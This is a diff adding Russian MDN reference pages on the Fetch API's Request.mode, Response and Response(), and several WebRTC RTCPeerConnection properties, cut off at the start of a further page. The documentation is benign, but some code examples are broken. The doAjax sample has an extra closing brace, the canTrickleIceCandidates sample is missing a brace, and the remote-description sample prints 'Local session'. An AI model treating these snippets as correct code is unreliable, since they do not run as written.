+<p>Read-only свойство <strong><code>mode</code></strong> интерфейса {{domxref("Request")}} описывает режим запроса (например, <code>cors</code>, <code>no-cors</code>, <code>same-origin</code> или <code>navigate</code>.) Используется для проверки, вызывает ли кросс-доменный запрос корректный ответ, и какие свойства ответа доступны для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>myMode</var> = <var>request</var>.mode;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>
+ <p>Значения <code>RequestMode</code>.</p>
+ </dt>
+ <dd>
+ <p>Соотвествующие доступные значения:</p>
+
+ <ul>
+  <li><code>same-origin</code> — Если запрос сделан к другому origin в этом режиме, то это вызовет ошибку. Можно использовать этот режим, чтобы проверить, что запрос всегда будет обращён к тому же origin, что  и текущий.</li>
+  <li><code>no-cors</code> — Разрешает использование только <code>HEAD</code>, <code>GET</code> или <code>POST</code> методов и <a href="https://fetch.spec.whatwg.org/#simple-header">простых заголовков</a> (т.е. разрешены только простые запросы). Если какой-либо ServiceWorkers перехватит запрос, то он не сможет добавить или изменить заголовки, кроме <a href="https://fetch.spec.whatwg.org/#simple-header">простых</a>. Также, для JavaScript может быть ограничен доступ к любому свойству объекта ответа {{domxref("Response")}}. Это позволяет наверняка знать, что ServiceWorkers не изменили семантику и <span class="tlid-translation translation" lang="ru"><span title="">предотвратить проблемы безопасности и конфиденциальности, возникающие при утечке данных между доменами</span></span>.</li>
+  <li><code>cors</code> — Разрешает кросс-доменные запросы. Например, чтобы получить доступ к некому API, предоставляемое третей стороной. Ожидается, что запрос в этом режиме будет придерживаться <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">CORS протокола</a>. В объекте ответа {{domxref("Response")}} доступен <a href="https://fetch.spec.whatwg.org/#concept-filtered-response-cors">ограниченный набор</a> заголовков, но тело доступно для чтения.</li>
+  <li><code>navigate</code> — Режим, поддерживающий навигацию. Значение <code>navigate</code> предназначено только для использования в HTML навигации. Запрос в этом режиме создаётся только во время навигации между страницами.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h4 id="Default_mode">Default mode</h4>
+
+<p>Запрос может быть создан разными способами и режим запроса<span class="tlid-translation translation" lang="ru"><span title=""> зависит от конкретных средств, с помощью которых он был инициирован</span></span>.</p>
+
+<p>Например, когда объект <code>Request</code> создаётся с помощью конструктора {{domxref("Request.Request")}}, свойство <code>mode</code> этого <code>Request</code> будет иметь значение <code>cors</code>.</p>
+
+<p>Однако, запросы созданные не конструктором {{domxref("Request.Request")}}, будут использовать режим <code>no-cors</code>. Например, для встроенных ресурсов, где запрос инициируется из разметки, если отсуствует атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code>, то запрос в большинстве случаев будет выполнен в режиме <code>no-cors</code> — то есть для элементов {{HTMLElement("link")}} или {{HTMLElement("script")}} (кроме использования с модулями), или {{HTMLElement("img")}}, {{HTMLElement("audio")}}, {{HTMLElement("video")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, или {{HTMLElement("iframe")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этой части кода создаётся новый запрос (для взятия файла картинки) через конструктор {{domxref("Request.Request()")}}, затем полученный режим сохраняется в переменной:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myMode = myRequest.mode; // вернёт "cors" по умолчанию</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-mode', 'mode')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request.mode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html
new file mode 100644
index 0000000000..25726a3f0a
--- /dev/null
+++ b/files/ru/web/api/response/index.html
@@ -0,0 +1,159 @@
+---
+title: Response
+slug: Web/API/Response
+tags:
+  - API
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - Response
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>Response</code></strong> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> представляет собой ответ на запрос.</span></p>
+
+<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>Создаёт новый экземпляр объекта <code>Response</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>Объект {{domxref("Headers")}}, который описывает заголовок ответа.</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>Булевское значение, которое указывает, выполнился ли запрос успешно или нет (то есть находится ли код ответа в диапозоне <code>200</code>–<code>299</code>).</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>Указывает, является ли результат запроса перенаправлением.</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>Код ответа.</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>Строка, соответствующая коду ответа (например, <code>OK</code> для кода <code>200</code>).</dd>
+ <dt>{{domxref("Response.trailers")}}</dt>
+ <dd>A {{domxref("Promise")}} resolving to a {{domxref("Headers")}} object, associated with the response with {{domxref("Response.headers")}} for values of the HTTP {{HTTPHeader("Trailer")}} header.</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>The type of the response (e.g., <code>basic</code>, <code>cors</code>).</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>The URL of the response.</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>A boolean indicating whether this is the final URL of the response.</dd>
+</dl>
+
+<h3 id="Body_Interface_Properties">Body Interface Properties</h3>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following properties available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter exposing a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
+ <dd>Creates a clone of a <code>Response</code> object.</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Returns a new <code>Response</code> object associated with a network error.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Creates a new response with a different URL.</dd>
+</dl>
+
+<h3 id="Body_Interface_Methods">Body Interface Methods</h3>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following methods available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}, which is a JavaScript value of datatype object, string, etc.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Fetching_an_image">Fetching an image</h3>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/basic-fetch">basic fetch example</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">run example live</a>) we use a simple <code>fetch()</code> call to grab an image and display it in an {{htmlelement("img")}} element. The <code>fetch()</code> call returns a promise, which resolves to the <code>Response</code> object associated with the resource fetch operation.</p>
+
+<p>You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements Body) to give the response its correct MIME type.</p>
+
+<pre class="brush: js notranslate">const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  const objectURL = URL.createObjectURL(blob);
+  image.src = objectURL;
+});</pre>
+
+<p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p>
+
+<pre class="brush: js notranslate">const response = new Response();</pre>
+
+<h3 id="Ajax_запрос">Ajax запрос</h3>
+
+<p>Здесь мы с помощью функции doAjax вызываем PHP скрипт, который генерирует JSON строку, и возвращает распарсенный JSON в виде JavaScript объекта. Также реализована простая обработка ошибок.</p>
+
+<pre class="brush: js notranslate">// Функция, которая делает Ajax запрос
+const doAjax = async () =&gt; {
+    const response = await fetch('Ajax.php'); // Генерируем объект Response
+    if (response.ok) {
+        const jVal = await response.json(); // Парсим тело ответа
+        return Promise.resolve(jVal);
+        }
+    else
+        return Promise.reject('*** PHP file not found');
+    }
+}
+
+// Вызываем doAjax и выводим результат в консоль
+doAjax().then(console.log).catch(console.log);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Response")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/response/response/index.html b/files/ru/web/api/response/response/index.html
new file mode 100644
index 0000000000..6a6b37cfe1
--- /dev/null
+++ b/files/ru/web/api/response/response/index.html
@@ -0,0 +1,81 @@
+---
+title: Response()
+slug: Web/API/Response/Response
+tags:
+  - API
+  - Constructor
+  - Fetch
+  - Reference
+  - Response
+translation_of: Web/API/Response/Response
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Конструктор <code><strong>Response()</strong></code> создаёт новый объект {{domxref("Response")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>body</em> {{optional_inline}}</dt>
+ <dd>Объект, который определяет тело запроса. Может быть <code>null</code> (является значением по-умолчанию), или:
+ <ul>
+  <li>{{domxref("Blob")}}</li>
+  <li>{{domxref("BufferSource")}}</li>
+  <li>{{domxref("FormData")}}</li>
+  <li>{{domxref("ReadableStream")}}</li>
+  <li>{{domxref("URLSearchParams")}}</li>
+  <li>{{domxref("USVString")}}</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>An options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). The possible options are:
+ <ul>
+  <li><code>status</code>: The status code for the reponse, e.g., <code>200</code>.</li>
+  <li><code>statusText</code>: The status message associated with the status code, e.g., <code>OK</code>.</li>
+  <li><code>headers</code>: Any headers you want to add to your response, contained within a {{domxref("Headers")}} object or object literal of {{domxref("ByteString")}} key/value pairs (see <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> for a reference).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">Fetch Response example</a> (see <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response live</a>) we create a new <code>Response</code> object using the constructor, passing it a new {{domxref("Blob")}} as a body, and an init object containing a custom <code>status</code> and <code>statusText</code>:</p>
+
+<pre class="brush: js notranslate">var myBlob = new Blob();
+var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" };
+var myResponse = new Response(myBlob,init);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-response','Response()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+
+
+<p>{{Compat("api.Response.Response")}}</p>
+
+<h2 id="Читай_также">Читай также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
new file mode 100644
index 0000000000..d1eaadc337
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -0,0 +1,91 @@
+---
+title: RTCPeerConnection.canTrickleIceCandidates
+slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
+translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<div></div>
+
+<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации  <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div>
+
+<p><strong>ICE trickling (ICE просачивание)</strong>  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..</p>
+
+<p>Свойство инициализируется только после вызова метода  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.</p>
+
+<p>Если оно не поддерживается, или о поддержке неизвестно, то проверив ложное значение этого свойства, необходимо подождать, пока значение свойства {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} измениться на  <code>"completed"</code> до создания и передачи первоначального предложения. Таким образом, отправка предложения сдерживается до сборки всех кандидатов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Тип  {{jsxref("Boolean")}} содержит <code>true</code> , если удаленный пир может принимать просачивающие ICE кандидаты, и  <code>false</code> , если не может. Если удаленный пир еще не инициализирован, свойство возвращает <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Примечание :</strong> Значение свойсва инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся  ICE кандидатов.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+// Следующий код может быть использован для обработки предложения от пира, когда
+// он не знает поддерживает ли он просачивание
+pc.setRemoteDescription(remoteOffer)
+  .then(_ =&gt; pc.createAnswer())
+  .then(answer =&gt; pc.setLocalDescription(answer))
+  .then(_ =&gt;
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r =&gt; {
+      pc.addEventListener('icegatheringstatechange', e =&gt; {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer =&gt; sendAnswerToPeer(answer)) // сигнальное сообщение
+  .catch(e =&gt; handleError(e));
+
+pc.addEventListener('icecandidate', e =&gt; {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // сигнальное сообщение
+  }
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-cantrickleicecandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.addIceCandidate()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html
new file mode 100644
index 0000000000..2b17b9b29e
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html
@@ -0,0 +1,62 @@
+---
+title: RTCPeerConnection.connectionState
+slug: Web/API/RTCPeerConnection/connectionState
+translation_of: Web/API/RTCPeerConnection/connectionState
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>Только для чтения свойство  <strong><code>connectionState</code></strong> интерфейса {{domxref("RTCPeerConnection")}} указывает на текущее состояние соединения, возвращая одно из строковых значений, определяемых в перечислении <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code>.</p>
+
+<p>Когда значение свойство изменяется, возникает событие   {{event("connectionstatechange")}} на объекте интерфейса {{domxref("RTCPeerConnection")}} .</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Текущий статус соединения представлен одним из значений перечисления  <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code>.</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCPeerConnectionState enum", 0, 1)}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-connection-state', 'RTCPeerConnection.connectionState') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.connectionState")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{event("connectionstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
new file mode 100644
index 0000000000..b0ddb77eb3
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.currentLocalDescription
+slug: Web/API/RTCPeerConnection/currentLocalDescription
+translation_of: Web/API/RTCPeerConnection/currentLocalDescription
+---
+<p>{{WebRTCSidebar}} </p>
+
+<p>Только для чтения свойство  <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . </p>
+
+<p>Для изменения <code>currentLocalDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p>
+
+<div class="note">
+<p>В отличие от  {{domxref("RTCPeerConnection.localDescription")}}, это значение представляет актуальный, текущий статус локальной стороны соединения; <code>localDescription</code> может устанавливать описание, на которое соединение находится в процессе перехода.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Текущий объект описания локальной стороны соединения. Если установка значения не удалась, значением станет <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере рассматривается свойство <code>currentLocalDescription</code>  и отображается предупреждение, содержащее свойства объекта {{domxref("RTCSessionDescription")}}  <code>type</code> и <code>sdp</code> .</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Локальная сессия: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("Локальной сессии еще нет.");
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentlocaldesc', 'RTCPeerConnection.currentLocalDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentLocalDescription")}}</p>
+
+<div class="note">
+<p>The addition of <code>currentLocalDescription</code> and {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}} to the WebRTC spec is relatively recent. In browsers which don't support them, just use {{domxref("RTCPeerConnection.localDescription", "localDescription")}}.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.localDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
new file mode 100644
index 0000000000..52aa9ccd2c
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.currentRemoteDescription
+slug: Web/API/RTCPeerConnection/currentRemoteDescription
+translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. </p>
+
+<p>Для изменения значения свойства <code>currentRemoteDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p>
+
+<div class="note">
+<p>В отличии от {{domxref("RTCPeerConnection.remoteDescription")}}, это значение действительный текущий статус соединения; <code>remoteDescription</code> может указывать на объект описания, на который соединение находиться в процессе перехода..</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Текущий объект описания, представляющий удаленную сторону соединения, если она присутстует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Пример рассматривает свойство  <code>currentRemoteDescription</code> и отображает предупреждение, содержащее значения свойств  <code>type</code> и <code>sdp</code> ,объекта {{domxref("RTCSessionDescription")}}.</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentremotedesc', 'RTCPeerConnection.currentRemoteDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.remoteDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html
new file mode 100644
index 0000000000..db12029803
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html
@@ -0,0 +1,56 @@
+---
+title: RTCPeerConnection.getDefaultIceServers()
+slug: Web/API/RTCPeerConnection/getDefaultIceServers
+translation_of: Web/API/RTCPeerConnection/getDefaultIceServers
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
